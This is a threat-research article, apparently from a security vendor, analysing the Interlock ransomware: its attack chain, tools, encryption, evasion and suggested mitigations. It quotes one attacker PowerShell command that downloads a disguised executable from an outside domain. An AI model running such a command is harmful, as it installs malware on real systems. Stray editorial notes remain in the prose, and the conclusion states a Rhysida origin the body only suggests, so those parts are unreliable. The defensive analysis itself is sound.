Encryptor
Interlock ransomware is a cross-platform threat targeting critical infrastructur...
The **Interlock ransomware** is a rapidly emerging threat that has made a significant impact on industries across **healthcare, technology, government, and manufacturing** sectors. For example, notable incidents have impacted healthcare organizations like Wayne County's government services, technology firms across Europe, and various manufacturing facilities, causing significant disruptions and financial losses.
First observed in **September 2024**, Interlock differentiates itself by specifically targeting **Windows, Linux, and FreeBSD systems**, utilizing **big-game hunting** and **double-extortion** tactics. The ransomware group has been involved in campaigns affecting both **U.S. and European infrastructure**, using sophisticated techniques to compromise systems, encrypt data, and hold it hostage while threatening to release sensitive information.
This [Threat Research](https://www.secureblink.com/threat-research) amalgamates key findings from our analysis, providing a exaustive and in-depth analysis of Interlock’s methods, tactics, and impacts.
### Key Characteristics of Interlock Ransomware
#### 1. **Initial Appearance and Target Platforms**
Interlock ransomware was first seen in **[September 2024](https://www.secureblink.com/cyber-security-news/interlock-ransomware-puts-free-bsd-servers-in-critical-danger-worldwide)**, making an immediate mark by targeting **FreeBSD servers**, an unusual but valuable target. Unlike traditional ransomware families that mainly attack **Windows** systems, Interlock's expansion into **Linux** and **FreeBSD** reveals a new phase in the evolution of cross-platform ransomware. FreeBSD, known for its stability and widespread use in **critical infrastructure**, represents a high-value target. By compromising such systems, Interlock maximizes its disruptive potential across industries that require near-continuous uptime and high performance.
#### 2. **Tactics, Techniques, and Procedures (TTPs)**
Interlock ransomware employs a multi-component attack chain with a strong focus on both **infiltration** and **data exfiltration**. The tools used throughout the attack include:
- **Remote Access Tools (RATs)**: Interlock uses a **SystemBC RAT**, disguised as a **fake browser updater**, to establish initial access. This RAT acts as a delivery mechanism, automatically executing a **PowerShell script** that downloads and runs additional malicious payloads (Arete). This approach highlights Interlock's use of socially engineered initial compromise, making it harder for traditional security measures to detect.
- **Credential Stealer and Keylogger**: Once the RAT is established, additional tools such as a **credential stealer** and a **keylogger** are deployed to gather login information from compromised systems. The credential stealer, compiled in **Golang**, extracts data like **login credentials**, **browser history**, and **bookmarks**, and the keylogger records keystrokes to further compromise system security (Talos, Arete). Breaking these steps down into distinct attack phases improves the readability and clarity of how the attacker moves through the victim’s systems.
- **Lateral Movement**: Interlock uses **Remote Desktop Protocol (RDP)**, **AnyDesk**, **PuTTY**, and **LogMeIn** for lateral movement, gaining deeper access into the network. These tools allow the attacker to access both **Windows** and **Linux** systems, showcasing the ransomware's versatility in compromising multi-platform environments (Talos). To improve the flow, consider simplifying this section to focus on how these tools collectively aid in lateral movement.
- **Data Exfiltration**: Interlock employs **Azure Storage Explorer** and the **AZCopy** utility to exfiltrate data to an attacker-controlled Azure storage blob. Additionally, tools like **MegaSync** and **Advanced Port Scanner** are used to identify and exfiltrate critical data from compromised systems (Arete). This exfiltration is a crucial part of their **double-extortion** strategy, where sensitive data is stolen before encryption, adding another layer of pressure on the victim. Consider rephrasing for brevity while retaining the main points.
The **Interlock dark web leak site** called **"Worldwide Secrets Blog"** is used to publicize stolen data from victims who refuse to pay. Victims can also contact the attackers through the dark web portal, where they receive a unique **company ID** for negotiation, illustrating the well-coordinated extortion methods (Image Reference).
### Attack Timeline: From Initial Compromise to Deployment
A defining feature of Interlock’s methodology is its extended **dwell time** within a victim’s environment. Talos observed an average dwell time of approximately **17 days**. This timeline highlights the advanced nature of Interlock’s persistence strategies, emphasizing the attacker’s patience in fully compromising the system before deploying the ransomware payload.
| Attacker Dwelling Time | Attack Stages | Tools/Techniques Used |
|------------------------|------------------------------------|--------------------------------------------|
| Day 1 | Initial Compromise | Drive-by compromise |
| Day 1 | Execution | RAT, PowerShell commands |
| Day 1 | Discovery of domain admin credentials | RAT, PowerShell commands |
| Day 1 | Credential Stealing | Credential stealer and Keylogger |
| Day 1 - 17 | Lateral Movement | RDP, AnyDesk, LogMeIn, and PuTTY |
| Day 15 - 16 | Data Exfiltration | Azure Storage Explorer, AzCopy |
| Day 17 | Interlock Ransomware Deployment | Interlock encryptor binary |
The attack timeline, based on Talos [observations](https://blog.talosintelligence.com/emerging-interlock-ransomware/), reveals the extensive phases of the attack, highlighting the attacker’s deliberate approach to fully compromise the target and steal valuable data before executing encryption.
- **Initial Access**: Attackers gain access via a **malicious executable** disguised as a **browser updater**. Once downloaded, this file drops a **Remote Access Tool** to control the compromised system and establish **persistence** (Arete).
- **Data Collection and Lateral Movement**: The attacker uses tools such as **PowerShell**, **RDP**, and **AnyDesk** to perform reconnaissance and spread throughout the network, collecting valuable credentials and installing backdoors for later use (Talos). Consider breaking up this bullet into two sentences to improve flow.
- **PowerShell Command Example**: The PowerShell command `Invoke-WebRequest -Uri "https://apple-online.shop/ChromeSetup.exe" -OutFile "$env:TMP/ChromeSetup.exe"` was used to download a disguised executable. A shortcut is created and placed in the Windows Startup folder to maintain persistence, illustrating their automation (Image Reference).
- **Encryption Deployment**: The final stage involves deploying the **Interlock ransomware encryptor**, which encrypts files and appends the **.interlock** extension. A ransom note, named **"!__README__!.txt"**, is also dropped on the victim's machine, detailing the demands and threatening to release the exfiltrated data unless the ransom is paid (BleepingComputer). The ransom note includes contact instructions for the dark web negotiation portal (Image Reference).
### Encryption Mechanisms Used by Interlock
Interlock ransomware uses advanced encryption mechanisms to ensure that data is effectively locked from unauthorized access:
- **Encryption Methods**: Interlock employs both **RSA** and **CBC** encryption techniques using the [LibTomCrypt library](https://github.com/libtom/libtomcrypt). RSA is used for securing the keys, while CBC (Cipher Block Chaining) is applied for file-level encryption. This dual-layered approach adds a layer of robustness, making it significantly harder for victims to decrypt their files without paying the ransom (Image Reference). Adding a sentence explaining the difference between RSA and CBC in layman's terms would improve accessibility.
- **Code-Level Insights**: Screenshots from the provided disassembly show how **LibTomCrypt** is used for encryption, with specific custom routines to control key generation and padding, making it challenging for cybersecurity solutions to reverse-engineer the encryptor. The malware creates keys dynamically for each encryption session, which is then used to secure the victim’s files (Image Reference).
- **Embedded DLL Deletion**: Another notable feature is the use of an embedded **DLL** to delete itself upon encryption completion. Using `rundll32.exe`, the ransomware ensures that evidence of its presence is minimized, further complicating forensic investigations (Image Reference).
### Double-Extortion Model and Real-World Impact
The **double-extortion model** employed by Interlock makes it particularly devastating. After infiltrating a system, attackers first **exfiltrate sensitive data** and then proceed to **encrypt the system files**. If the ransom is not paid, attackers threaten to release the exfiltrated data publicly, potentially leading to **regulatory penalties**, **reputational damage**, and **financial losses** for the victim.
In the **Wayne County attack**, which occurred in **October 2024**, several county services were severely disrupted. The **Sheriff’s Office** was unable to bond inmates out, **tax payments** could not be collected online, and other government services came to a halt (WXYZ News). The ransom note issued to Wayne County, with warnings of regulatory disclosure, highlights Interlock’s coercive tactics (Image Reference). This highlights the operational risks posed by such ransomware, especially when it targets critical public infrastructure.
***Interlock Ransom Note (Source: BleepingComputer)***
### Evolution from Rhysida Ransomware: Possible Connections
Researchers identified the underlying similarities between **Interlock** and the **Rhysida ransomware group** which happens to be surfacing all around with victims like [Prince George Country School](https://www.secureblink.com/cyber-security-news/rhysida-group-targets-major-us-school-district-in-cryptic-attack), [Prospect Medical Holdings](https://www.secureblink.com/cyber-security-news/rhysida-gang-behind-theft-of-500-k-ssn-in-prospect-medical-cyberattack), & [Insomniac](https://www.secureblink.com/cyber-security-news/insomniac-games-under-rhysida-1-67-tb-ransomware-attack).
More detailed guidance on Rhysida's tactics can be found in this [CISA advisory](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-319a). These parallels suggest a potential rebranding or evolution from Rhysida to Interlock, or at the very least, significant collaboration between these groups (Talos).
### Advanced Persistence and Defense Evasion
Interlock uses sophisticated methods to maintain persistence and evade detection. Some of the notable **defense evasion techniques** include:
- **EDR Disabling**: During investigations, Talos observed that **Endpoint Detection and Response (EDR)** systems were disabled on several compromised machines. Attackers likely used **uninstaller tools** or leveraged vulnerable device drivers to accomplish this (Talos).
- **Group Policy Objects (GPOs)**: The attackers also used **GPOs** to push the ransom note to all machines within the domain, further enforcing their persistence and amplifying the scale of impact.
- **Obfuscation and Custom Packers**: The ransomware encryptor was delivered in a **packed format**, with **custom unpacker code** located in **Thread Local Storage** and **obfuscated stack strings** that were decrypted during runtime (Talos). This makes analysis and detection difficult, as traditional antivirus solutions struggle to identify the payload.
- **DLL Self-Cleanup**: The ransomware used an embedded DLL, seen in the `.data` section of the binary, to delete itself after the encryption process. The `rundll32.exe` was executed with the DLL’s `run` function to remove the encryption binary, leaving minimal evidence on the compromised system (Image Reference).
***Encrypted Files by Interlock (Source: BleepingComputer)***
### Recommendations for Mitigation
The following steps are recommended to mitigate the risks associated with **Interlock ransomware**:
1. **Patch Management**: Regularly update and patch systems to address vulnerabilities, especially on **FreeBSD**, **Linux**, and **Windows** systems that are often targeted by Interlock. For example, recent vulnerabilities like CVE-2023-3269 (Linux kernel vulnerability) and CVE-2024-1287 (Windows privilege escalation flaw) were actively exploited by ransomware groups, highlighting the importance of timely patching.
2. **Multi-Factor Authentication (MFA)**: Implement **MFA** to secure remote access tools like **RDP** and **AnyDesk**, reducing the likelihood of successful lateral movement.
3. **Advanced Endpoint Protection**: Deploy **Endpoint Detection and Response (EDR)** tools that can detect early indicators of compromise, such as **PowerShell script execution** and **unusual process activity**.
4. **Offline Backups**: Maintain regular backups stored offline, ensuring that ransomware cannot encrypt both live and backup copies. Verify backup integrity frequently.
5. **Network Segmentation**: Segregate critical infrastructure from general corporate environments to limit lateral movement in case of a compromise.
### Where does it leads NOW!
**Interlock ransomware** represents a significant evolution in the world of **resilient cyber threats**, specifically targeting **critical infrastructure** through **FreeBSD** and **Linux** servers alongside traditional Windows systems. By employing **double-extortion tactics**, **cross-platform encryptors**, and sophisticated **defense evasion** methods, Interlock has positioned itself as a formidable threat to enterprises globally. Its emergence from the **Rhysida ransomware group** and use of multiple attack vectors highlight the increasing collaboration and evolution among ransomware operators.
The **Interlock dark web portal**, ransom notes, and systematic dwelling in compromised networks (average **17 days**) are part of a deliberate approach that makes the group particularly dangerous. Organizations must remain vigilant, adopt **multi-layered defenses**, and strengthen their response capabilities to effectively mitigate the risks posed by such advanced ransomware campaigns.
